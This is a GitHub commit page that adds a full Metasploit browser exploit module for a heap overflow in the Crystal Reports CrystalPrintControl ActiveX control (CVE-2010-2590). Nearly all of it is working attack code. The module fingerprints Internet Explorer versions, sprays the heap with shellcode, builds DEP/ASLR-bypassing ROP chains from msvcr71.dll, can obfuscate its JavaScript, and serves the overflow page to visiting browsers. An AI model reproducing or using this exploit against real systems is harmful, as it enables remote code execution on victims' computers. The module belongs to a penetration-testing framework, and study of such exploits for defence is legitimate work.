Skip to content

Commit 88f02e0

Browse files
committed
Merge branch 'jvazquez-r7-crystal_reports_printcontrol'
2 parents 10511e8 + 9198e0d commit 88f02e0

File tree

1 file changed

+317
-0
lines changed

1 file changed

+317
-0
lines changed
Lines changed: 317 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,317 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
include Msf::Exploit::Remote::BrowserAutopwn
16+
17+
autopwn_info({
18+
:ua_name => HttpClients::IE,
19+
:ua_minver => "6.0",
20+
:ua_maxver => "8.0",
21+
:javascript => true,
22+
:os_name => OperatingSystems::WINDOWS,
23+
:rank => NormalRanking,
24+
:classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",
25+
:method => "ServerResourceVersion"
26+
})
27+
28+
29+
def initialize(info={})
30+
super(update_info(info,
31+
'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",
32+
'Description' => %q{
33+
This module exploits a heap based buffer overflow in the CrystalPrintControl
34+
ActiveX, while handling the ServerResourceVersion property. The affected control
35+
can be found in the PrintControl.dll component as included with Crystal Reports
36+
2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
37+
and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
38+
affected ActiveX control, to bypass DEP and ASLR.
39+
},
40+
'License' => MSF_LICENSE,
41+
'Author' =>
42+
[
43+
'Dmitriy Pletnev', # Vulnerability discovery
44+
'Dr_IDE', # PoC
45+
'juan vazquez' # Metasploit
46+
],
47+
'References' =>
48+
[
49+
[ 'CVE', '2010-2590' ],
50+
[ 'OSVDB', '69917' ],
51+
[ 'BID', '45387' ],
52+
[ 'EDB', '15733' ]
53+
],
54+
'Payload' =>
55+
{
56+
'Space' => 890,
57+
'BadChars' => "\x00",
58+
'DisableNops' => true,
59+
'PrependEncoder' => "\x81\xc4\xa4\xf3\xfe\xff" # Stack adjustment # add esp, -500
60+
},
61+
'DefaultOptions' =>
62+
{
63+
'InitialAutoRunScript' => 'migrate -f'
64+
},
65+
'Platform' => 'win',
66+
'Targets' =>
67+
[
68+
# Using jre rop because msvcr71.dll is installed with the ActiveX control
69+
# Crystal Reports 2008 / PrintControl.dll 12.0.0.683
70+
[ 'Automatic', {} ],
71+
[ 'IE 6 on Windows XP SP3',
72+
{
73+
'Rop' => nil,
74+
'Offset' => '0x5F4',
75+
'Ret' => 0x0c0c0c08
76+
}
77+
],
78+
[ 'IE 7 on Windows XP SP3',
79+
{
80+
'Rop' => nil,
81+
'Offset' => '0x5F4',
82+
'Ret' => 0x0c0c0c08
83+
}
84+
],
85+
[ 'IE 8 on Windows XP SP3',
86+
{
87+
'Rop' => :jre,
88+
'Offset' => '0x5f4',
89+
'Ret' => 0x0c0c0c0c,
90+
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
91+
}
92+
],
93+
[ 'IE 8 on Windows 7',
94+
{
95+
'Rop' => :jre,
96+
'Offset' => '0x5f4',
97+
'Ret' => 0x0c0c0c0c,
98+
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
99+
}
100+
]
101+
],
102+
'Privileged' => false,
103+
'DisclosureDate' => "Dec 14 2010",
104+
'DefaultTarget' => 0))
105+
106+
register_options(
107+
[
108+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
109+
], self.class)
110+
111+
end
112+
113+
def get_target(agent)
114+
#If the user is already specified by the user, we'll just use that
115+
return target if target.name != 'Automatic'
116+
117+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
118+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
119+
120+
ie_name = "IE #{ie}"
121+
122+
case nt
123+
when '5.1'
124+
os_name = 'Windows XP SP3'
125+
when '6.0'
126+
os_name = 'Windows Vista'
127+
when '6.1'
128+
os_name = 'Windows 7'
129+
end
130+
131+
targets.each do |t|
132+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
133+
print_status("Target selected as: #{t.name}")
134+
return t
135+
end
136+
end
137+
138+
return nil
139+
end
140+
141+
def ie_heap_spray(my_target, p)
142+
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
143+
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
144+
145+
# Land the payload at 0x0c0c0c0c
146+
# For IE 6, 7, 8
147+
js = %Q|
148+
var heap_obj = new heapLib.ie(0x20000);
149+
var code = unescape("#{js_code}");
150+
var nops = unescape("#{js_nops}");
151+
while (nops.length < 0x80000) nops += nops;
152+
var offset = nops.substring(0, #{my_target['Offset']});
153+
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
154+
while (shellcode.length < 0x40000) shellcode += shellcode;
155+
var block = shellcode.substring(0, (0x80000-6)/2);
156+
heap_obj.gc();
157+
for (var i=1; i < 0x300; i++) {
158+
heap_obj.alloc(block);
159+
}
160+
var overflow = nops.substring(0, 10);
161+
|
162+
163+
js = heaplib(js, {:noobfu => true})
164+
165+
if datastore['OBFUSCATE']
166+
js = ::Rex::Exploitation::JSObfu.new(js)
167+
js.obfuscate
168+
end
169+
170+
return js
171+
end
172+
173+
def get_payload(t, cli)
174+
code = payload.encoded
175+
176+
# No rop. Just return the payload.
177+
return code if t['Rop'].nil?
178+
179+
# Both ROP chains generated by mona.py - See corelan.be
180+
print_status("Using JRE ROP")
181+
rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})
182+
183+
return rop_payload
184+
end
185+
186+
def load_exploit_html(my_target, cli)
187+
p = get_payload(my_target, cli)
188+
js = ie_heap_spray(my_target, p)
189+
190+
# This rop chain can't contain NULL bytes, because of this RopDB isn't used
191+
# rop chain generated with mona.py
192+
rop_gadgets =
193+
[
194+
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
195+
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
196+
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
197+
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
198+
0xffffffff, #
199+
0x7c376402, # skip 4 bytes [msvcr71.dll]
200+
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
201+
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
202+
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
203+
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
204+
0xffffffc0, # Value to negate, will become 0x00000040
205+
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
206+
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
207+
0x7c38b001, # &Writable location [msvcr71.dll]
208+
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
209+
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
210+
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
211+
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
212+
].pack("V*")
213+
214+
# Allow to easily stackpivot to the payload
215+
# stored on the sprayed heap
216+
stackpivot_to_spray = %Q|
217+
mov esp, 0x0c0c0c10
218+
ret
219+
|
220+
221+
# Space => 0x940 bytes
222+
# 0x40c: Fill the current CrystalPrintControl object
223+
# 0x8: Overflow next heap chunk header
224+
# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
225+
bof = rand_text_alpha(1036)
226+
bof << [0x01010101].pack("V") # next heap chunk header
227+
bof << [0x01010101].pack("V") # next heap chunk header
228+
bof << [my_target.ret].pack("V")
229+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
230+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
231+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
232+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
233+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
234+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
235+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
236+
bof << [0x7c3410c4].pack("V") # ret # msvcr71 # eip for w7 sp0 / ie8
237+
bof << rop_gadgets
238+
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string
239+
bof << rand_text_alpha(0x940 - bof.length)
240+
241+
js_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))
242+
243+
target = rand_text_alpha(5 + rand(3))
244+
target2 = rand_text_alpha(5 + rand(3))
245+
target3 = rand_text_alpha(5 + rand(3))
246+
target4 = rand_text_alpha(5 + rand(3))
247+
target5 = rand_text_alpha(5 + rand(3))
248+
target6 = rand_text_alpha(5 + rand(3))
249+
target7 = rand_text_alpha(5 + rand(3))
250+
target8 = rand_text_alpha(5 + rand(3))
251+
target9 = rand_text_alpha(5 + rand(3))
252+
target10 = rand_text_alpha(5 + rand(3))
253+
target11 = rand_text_alpha(5 + rand(3))
254+
target12 = rand_text_alpha(5 + rand(3))
255+
target13 = rand_text_alpha(5 + rand(3))
256+
target14 = rand_text_alpha(5 + rand(3))
257+
target15 = rand_text_alpha(5 + rand(3))
258+
259+
# - 15 CrystalPrintControl objects are used to defragement the heap.
260+
# - The 10th CrystalPrintControl is overflowed.
261+
# - After the overflow, trying to access the overflowed object, control
262+
# can be obtained.
263+
html = %Q|
264+
<html>
265+
<head>
266+
<script>
267+
#{js}
268+
</script>
269+
</head>
270+
<body>
271+
<object id='#{target}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
272+
<object id='#{target2}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
273+
<object id='#{target3}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
274+
<object id='#{target4}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
275+
<object id='#{target5}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
276+
<object id='#{target6}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
277+
<object id='#{target7}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
278+
<object id='#{target8}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
279+
<object id='#{target9}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
280+
<object id='#{target10}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
281+
<object id='#{target11}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
282+
<object id='#{target12}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
283+
<object id='#{target13}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
284+
<object id='#{target14}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
285+
<object id='#{target15}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
286+
<script>
287+
var ret = unescape('#{js_bof}');
288+
#{target9}.ServerResourceVersion = ret;
289+
var c = #{target10}.BinName.length;
290+
</script>
291+
</body>
292+
</html>
293+
|
294+
295+
return html
296+
end
297+
298+
def on_request_uri(cli, request)
299+
agent = request.headers['User-Agent']
300+
uri = request.uri
301+
print_status("Requesting: #{uri}")
302+
303+
my_target = get_target(agent)
304+
# Avoid the attack if no suitable target found
305+
if my_target.nil?
306+
print_error("Browser not supported, sending 404: #{agent}")
307+
send_not_found(cli)
308+
return
309+
end
310+
311+
html = load_exploit_html(my_target, cli)
312+
html = html.gsub(/^\t\t/, '')
313+
print_status("Sending HTML...")
314+
send_response(cli, html, {'Content-Type'=>'text/html'})
315+
end
316+
317+
end

0 commit comments

Comments
 (0)